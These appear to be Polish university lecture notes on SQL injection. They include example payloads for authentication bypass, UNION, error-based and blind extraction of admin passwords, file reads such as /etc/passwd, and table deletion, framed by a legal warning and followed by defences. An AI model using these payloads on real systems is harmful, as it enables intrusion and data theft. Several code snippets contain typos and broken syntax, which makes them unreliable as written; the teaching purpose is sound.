# Podatność SQL Injection

Marek Miśkiewicz

UMCS 2024

## Ostrzeżenie: Prawne Konsekwencje Ataków na Aplikacje Webowe

Zwracam uwagę, że **symulowanie ataków na aplikacje webowe, takie jak SQL Injection, XSS czy CSRF, w środowiskach produkcyjnych lub bez wyraźnej zgody właściciela systemu, jest naruszeniem prawa.** Zgodnie z **polskim Kodeksem Karnym (art. 267–269)** takie działania mogą być uznane za przestępstwo zagrożone karą grzywny, ograniczenia wolności lub pozbawienia wolności.

Proszę pamiętać, że analiza podatności i testowanie bezpieczeństwa powinny być przeprowadzane wyłącznie w środowiskach testowych lub na podstawie **jasnej zgody właściciela systemu**. Wszelkie działania bez upoważnienia są niezgodne z prawem i mogą prowadzić do poważnych konsekwencji prawnych.

Wykorzystujcie zdobytą wiedzę wyłącznie w celach edukacyjnych i zgodnie z etyką zawodową!

Kodeks karny

**Art. 267.**

**§ 1.** Kto bez uprawnienia uzyskuje dostęp do informacji dla niego nieprzeznaczonej, otwierając zamknięte pismo, podłączając się do sieci telekomunikacyjnej lub przełamując albo omijając elektroniczne, magnetyczne, informatyczne lub inne szczególne jej zabezpieczenie, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2.
**§ 2.** Tej samej karze podlega, kto bez uprawnienia uzyskuje dostęp do całości lub części systemu informatycznego

**Art. 268.**

**§ 1.** Kto, nie będąc do tego uprawnionym, niszczy, uszkadza, usuwa lub zmienia zapis istotnej informacji albo w inny sposób udaremnia lub znacznie utrudnia osobie uprawnionej zapoznanie się z nią, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2.
**§ 2.** Jeżeli czyn określony w § 1 dotyczy zapisu na informatycznym nośniku danych, sprawca podlega karze pozbawienia wolności do lat 3.

**Art. 269a.**

Kto, nie będąc do tego uprawnionym, przez transmisję, zniszczenie, usunięcie, uszkodzenie, utrudnienie dostępu lub zmianę danych informatycznych, w istotnym stopniu zakłóca pracę systemu informa- tycznego, systemu teleinformatycznego lub sieci teleinformatycznej, podlega karze pozbawienia wolności od 3 miesięcy do lat 5.

**Art. 269c.**

Nie podlega karze za przestępstwo określone w art. 267 § 2 lub art. 269a, kto działa wyłącznie w celu zabezpieczenia systemu informatycznego, systemu teleinformatycznego lub sieci teleinformatycznej albo opraco- wania metody takiego zabezpieczenia i niezwłocznie powiadomił dyspo- nenta tego systemu lub sieci o ujawnionych zagrożeniach, a jego działanie nie naruszyło interesu publicznego lub prywatnego i nie wyrządziło szkody.

## Bibliografia


1. **Bezpieczeństwo aplikacji webowych**, SECURITIUM, Kraków 2019
2. https://owasp.org/www-community/attacks/SQL_Injection
3. https://portswigger.net/web-security/sql-injection/blind

## Definicja SQL Injection

SQL Injection to technika ataku na aplikacje internetowe, która polega na wprowadzeniu złośliwego kodu SQL (wstrzyknięciu) do pola wejściowego użytkownika w celu zmodyfikowania lub wykonania nieautoryzowanego zapytania do bazy danych.

Celem ataku jest przejęcie kontroli w kontekście interakcji z bazą danych, co może prowadzić do nieautoryzowanego dostępu do danych, ich modyfikacji, usunięcia, a nawet przejęcia pełnej kontroli nad systemem bazodanowym. SQL Injection występuje, gdy aplikacja nieprawidłowo przetwarza dane wejściowe użytkownika i pozwala im stać się częścią wykonującego się zapytania SQL.

Atak SQL injection ma miejsce, gdy:

- niezamierzone dane dostają się do programu z niezaufanego źródła,
- dane te są wykorzystywane do dynamicznego konstruowania zapytania SQL,

Atakujący wprowadza znaki:

```
'  ;  --  /*
```

w polu wejściowym użytkownika (np. w formularzu logowania), aby wpłynąć na składnię zapytania SQL generowanego przez aplikację.

> SQL, jako język zapytań, nie rozróżnia w pełni między:
>
> - **Control plane**: logiką działania zapytania (np. SELECT, WHERE).
> - **Data plane**: wartościami danych wprowadzonych przez użytkownika (np. nazwa użytkownika, hasło).

Dla SQL wszystko jest traktowane jako ciąg znaków, który należy wykonać jako całość. Jeżeli dane wejściowe użytkownika nie są odpowiednio zabezpieczone (np. walidowane, escape'owane), mogą zostać potraktowane jako kod do wykonania.

> SQL nie "wie", czy `' OR '1'='1` to dane użytkownika, czy część logiki zapytania.

Bez zabezpieczeń atakujący może „przeskoczyć” z płaszczyzny danych (data plane) do płaszczyzny logiki sterowania (control plane), manipulując działaniem zapytania.

## Główne konsekwencje

- możliwość dostępu do danych poufnych i ich kompromitacji,
- słabe mechanizmy uwierzytelniania pozwalają na dostęp do zasobów bez znajomości loginu i hasła,
- możliwość modyfikowania informacji o autoryzacji i prawach dostępu,
- możliwość wprowadzenia zmian lub nawet usunięcia informacji.

## Przykład

Fragment kodu wyszukującego wpisy użytkowników[1]:

```
function getPosts(query) {
    var sql = "SELECT * FROM blog_posts " +
    "WHERE" post_content LIKE " +
    "'%" + query + "%'" +
    "AND published = 1";

    return executeSqlQuery(sql)
}
```

[1] *Bezpieczeństwo aplikacji webowych*, SECURITUM, Kraków 2019.

Użytkownik wyszukuje słowo "szyfrowanie":

```
SELECT * FROM blog_posts WHERE post_content LIKE
    '%szyfrowanie%' AND published = 1
```

Co się stanie jeśli na wejściu pojawi się:

```
https://blog.com/search?query=cat'
```

Aplikacja wykona (a w zasadzie nie wykona):

```
SELECT * FROM blog_posts WHERE post_content LIKE
    '%cat'%' AND published = 1
```

Możemy zmodyfikować ciąg znaków przekazany w nagłówku HTML:

```
...query=cat' --
```

co spowoduje wygenerowanie zapytania w postaci:

```
SELECT * FROM blog_posts WHERE post_content LIKE
    '%cat' --%' AND published = 1
```

Uzyskaliśmy dostęp do wpisów zawierających słowo `cat` zarówno tych opublikowanych jak i nie.

Kolejna modyfikacja zapytania: dodajemy

```
...=cat' OR 1=1 --
```

co prowadzi do skonstruowania zapytania do bazy w postaci:

```
SELECT * FROM blog_posts
WHERE post_content LIKE '%cat' OR 1=1 -- %'AND published = 1
```

Baza zwraca wpisy spełniające **jeden** z dwóch warunków logicznych, gdzie jeden z nich to `1=1`, który jest zawsze prawdziwy! To spowoduje wyświetlenie wszystkich postów, niezależnie od ich statusów.

# Sposoby Wykorzystania SQL Injection

## UNION-based

Taki typ wstrzyknięcia pozwala połączyć ze sobą wyniki pobierania lub wyświetlania danych z dwóch rożnych tabel:

```
SELECT column_1, column_2, column_3 FROM table_1
UNION SELECT col_1, col_2 col_3 FROM table_2
```

co powoduje zwrócenie treści z `table_1` oraz z `table_2`. Sa jednak pewne wymogi:

- liczba kolumn w obu tabelach musi być zgodna,
- typy danych w kolumnach muszą się zgadzać.

W jaki sposób wyznaczyć liczbę kolumn:

```
-> UNION SELECT null--
-> UNION SELECT null, null--
-> UNION SELECT null, null, null--
...
```

Inny sposób to wykorzystanie `ORDER BY`

```
SELECT * FROM blog_posts WHERE post_content LIKE `%cat`
ORDER BY 5--%' AND published = 1
```

Kolejny krok to ustalenie indeksu kolumny, z której można czytać zawartość.

### Schemat bazy danych

Po ustaleniu, która kolumna pozwala na zwracanie wyników zapytań można przejść do wydobyci schematu bazy danych. Wiele baz danych posiada specjalna tablicę

```
infomation_schemat.tables,
```

w której kolumna `table_name` pozwala wydobyć nazwy wszystkich tabel.

## ERROR Based

Wstrzykiwanie kodu SQL oparte na błędach odnosi się do przypadków, w których można użyć komunikatów o błędach do wyodrębnienia lub wywnioskowania wrażliwych danych z bazy danych, nawet w ślepym kontekście. Możliwości zależą od konfiguracji bazy danych i typów błędów, które można wywołać:

- Atakujący może być w stanie skłonić aplikację do zwrócenia określonej odpowiedzi na błąd na podstawie wyniku wyrażenia logicznego.
- Możesz być w stanie wywołać komunikaty o błędach, które wyświetlają dane zwrócone przez zapytanie. Skutecznie zmienia to niewidoczne luki we wstrzyknięciach SQL w widoczne.

Możemy mieć do czynienia z innym wariantem zapytania:

```
SELECT *                        SELECT *
FROm blog_posts                 FROM blog_posts
WHERE post_content              WHERE post_content
LIKE '%cat%'                    LIKE '%cat%' --%'
AND published = 1               AND published = 1
```

Komentarz dotyczy tylko jednej linii i warunek logiczny na końcu psuje wstrzyknięcie z `UNION`.

Zakładamy, że aplikacja webowa jest tak napisana, że komunikaty błędow są dostarczane do użytkownika. Np.:

```
https://example.com/index.php?item=123
```

zamieniamy na

```
https://example.com/index.php?name=123'
```

co powoduje wypisanie komunikatu:

```
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near "VALUE".
```

**Inny przykład:**

Fragment zapytania:

```
SELECT cast('123aaa' as integer);
```

spowoduje wyświetlenie komunikatu o błędzie:

```
invalid input syntax for type integer: "123aaa" ← PostregsSQL

Conversion failed when converting the varchar value '123aaa'
to data type int. ← SQL Server

Warning: Truncated incorrect INTEGER value: '123aaa' ← MySQL (rygorystyczne tryby)
```

co oznacza, że fragment zapytania jest wyświetlany w odpowiedzi serwera!

Prosty test może ujawnić istnienie podatności:

```
SELECT cast(version() as integer);
```

```
invalid input syntax for type integer: "PostgreSQL 14.2 (Ubuntu 14.2-1.pgdg20.04+1)
on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, 64-bit"
```

którą można wykorzystać np. w następujący sposób:

```
SELECT * FROM users WHERE id = '1' AND
CAST((SELECT CONCAT(username, ':', password) FROM users LIMIT 1) AS INT) --
```

do wydobycia informacji o użytkowniku o `id=1`. Baza może odpowiedzieć:

```
Error: SQLSTATE[22007]: Invalid cast: Cannot cast 'admin:123456' to int.
```

## Blind SQL Injection

**Blind SQL Injection** to technika ataku SQL Injection stosowana, gdy aplikacja nie zwraca wyników zapytań SQL ani szczegółowych błędów, ale wciąż pozwala na wykonanie zapytań w bazie danych. Atakujący wnioskuje o prawdziwości zapytań pośrednio na podstawie reakcji serwera,np. takich jak:

- Czas odpowiedzi serwera – (Time-Based Blind SQL Injection),
- Zmiany w odpowiedzi HTTP – (Boolean-Based Blind SQL Injection).

## BLIND (content based)

Załóżmy, że aplikacja ma podatny parametr id, który przekazuje dane do zapytania SQL.

Podatne zapytanie SQL:

```
SELECT * FROM users WHERE id = '$id';
```

1. Przykład payloadu:

```
?id=1' AND 1=1 --
```

Efekt: Strona zwraca normalną odpowiedź, ponieważ `1=1` to warunek prawdziwy.

```
?id=1' AND 1=2 --
```

Efekt: Strona zwraca inną treść lub pustą odpowiedź, ponieważ `1=2` to warunek fałszywy.

2. Wnioskowanie o danych na podstawie zawartości:

   Przykładowo, chcemy sprawdzić, czy w bazie istnieje użytkownik admin:

   ```
   ?id=1' AND (SELECT COUNT(*) FROM users WHERE username='admin') > 0 --
   ```

   Jeśli użytkownik “admin” istnieje: Strona zwraca normalną treść.
   Jeśli użytkownik “admin” nie istnieje: Strona zwraca inną treść lub pustą stronę.

3. Iteracyjne wydobywanie danych (Content-Based):

   Możemy stopniowo sprawdzać znaki hasła lub innych wartości, porównując je literka po literce. Sprawdzenie pierwszego znaku hasła:

```
... AND SUBSTRING((SELECT password FROM users
WHERE username='admin'), 1, 1) = 'a' --
```

   Jeśli hasło zaczyna się od litery `a` : Strona zwraca normalną treść.
   Jeśli nie: Strona zwraca inną odpowiedź.

Poprzez iterację zmieniamy wartość pozycji znaku (np. 1, 2, 3 w funkcji SUBSTRING), aby stopniowo odkrywać pełne hasło.

```
... AND SUBSTRING((SELECT password FROM users
WHERE username='admin'), 2, 1) = 'b' --
```

## BLIND (time based)

Time-Based Blind SQL Injection to technika ataku SQL Injection, w której atakujący manipuluje czasem odpowiedzi serwera, aby określić, czy wstrzyknięty warunek SQL jest prawdziwy czy fałszywy. Działa nawet wtedy, gdy aplikacja nie zwraca żadnych widocznych danych ani błędów.

Atakujący używa funkcji bazodanowych, które wprowadzają opóźnienie w odpowiedzi serwera (np. SLEEP() w MySQL lub WAITFOR DELAY w MSSQL).

- Jeśli warunek jest prawdziwy, serwer opóźni odpowiedź.
- Jeśli warunek jest fałszywy, serwer odpowie natychmiast.

**Przykład ataku Time-Based (MySQL):**

Załóżmy, że aplikacja przyjmuje parametr id i wykonuje podatne zapytanie SQL:

```
SELECT * FROM users WHERE id = '$id';
```

**Payload 1** – Warunek prawdziwy z opóźnieniem:

```
?id=1' AND IF((SELECT username FROM users LIMIT 1) = 'admin', SLEEP(5), 0) --
```

**Payload 2 – Sprawdzanie znaku hasła (iteracyjne testowanie):**

Chcemy sprawdzić, czy pierwszy znak hasła użytkownika admin to `a`:

```
?id=1' AND IF(SUBSTRING((SELECT password FROM users
WHERE username='admin'), 1, 1) = 'a', SLEEP(5), 0) --
```

# Skutki wykorzystania SQL Injection

**Wydobycie danych z bazy danych**

- Loginy i hasła (hashe haseł) użytkowników
- dane osobowe
- dane medyczne lub inne o istotnym znaczeniu
- dane kart kredytowych

## Omijanie ekranu logowania

Klasyczny przykład:

- login: `admin`
- hasło `pas123`

```
SELECT * FROM users where login = 'admin' and password = 'pas123'
```

- login: `admin' OR 1=1 --`
- hasło `pas123`

```
SELECT * FROM users where login = 'admin' OR 1=1 -- ' and password = 'pas123'
```

## Modyfikacja lub usuwanie danych

- wykorzystanie `DROP DATABASE` lub `DROP TABLE` do usunięcia wybranych tabel lub całej bazy danych
- wykorzystanie funkcji `UPDATE` może pozwolić na zmianę rekordów zawierających
- możliwość nadpisania ścieżek do plików w tabelach, w których istnieją powiązania typu `id` z `filePath`
- odczyt plików na dysku: `SELECT LOAD_FILE('/etc/passwd')`
- zapis plików na dysku `SELECT x FROM INTO OUTFILE 'file_name'`
- możliwość wykonania poleceń systemu operacyjnego

# Metody ochrony przed SQL Injection

- Zapytania sparametryzowane

```
query = "SELECT * FROM users WHERE username = ? or email = ?"
stmt = Database.prepareStatement(query)
stmt.setStrimg(1, username)
stmt.setString(2. email)
stmt.exceute()
```

  Brak konkatenacji ogranicza ryzyko wprowadzenia podatności SQL Injection

[1] *Bezpieczeństwo aplikacji webowych*, SECURITUM, Kraków 2019.

- Walidacja typów danych - czy dane jakie podaje użytkownik są takie jakich oczekujemy:
  - czy pole `id` to liczba,
  - czy pole z datą ma format `dd-mm-yyyy`,
  - czy kod pocztowy ma format `xx-xxx`,
  - czy `PIN` to czterocyfrowa liczba.
- Stosowanie systemów klasy ORM (Object-relational mapping)

  ORM to technika programistyczna, która mapuje obiekty aplikacji na tabele bazy danych, umożliwiając interakcję z bazą danych za pomocą języków obiektowych, takich jak Python, Java czy C#. Systemy ORM automatyzują tworzenie i wykonywanie zapytań SQL, ukrywając przed programistą szczegóły składni SQL.

Główne cechy systemów ORM:

1. **Abstrakcja bazy danych** – programista operuje na obiektach i metodach zamiast na zapytaniach SQL.
2. **Automatyczne generowanie zapytań** – ORM tłumaczy operacje na obiektach na odpowiednie instrukcje SQL.
3. **Unikanie ręcznego SQL** – dzięki temu zmniejsza się ryzyko błędów programistycznych.

Przykładowe systemy ORM:

- Python: SQLAlchemy, Django ORM
- Java: Hibernate
- C#/.NET: Entity Framework
- PHP: Eloquent ORM (Laravel)

- Hardening baz danych
  - aplikacja nie powinna łączyć się z bazą danych z uprawnieniami administratora bazy danych
  - zaleca się stosowani separacji na poziomie bazy danych, a nawet separacje samych baz danych
  - *Stack queries* powinny być wyłączone
  - proces bazy danych nie może działać w systemie na uprawnieniach root'a
  - należy wyłączyć potencjalnie niebezpieczne procedury, np. `xp_cmdshell`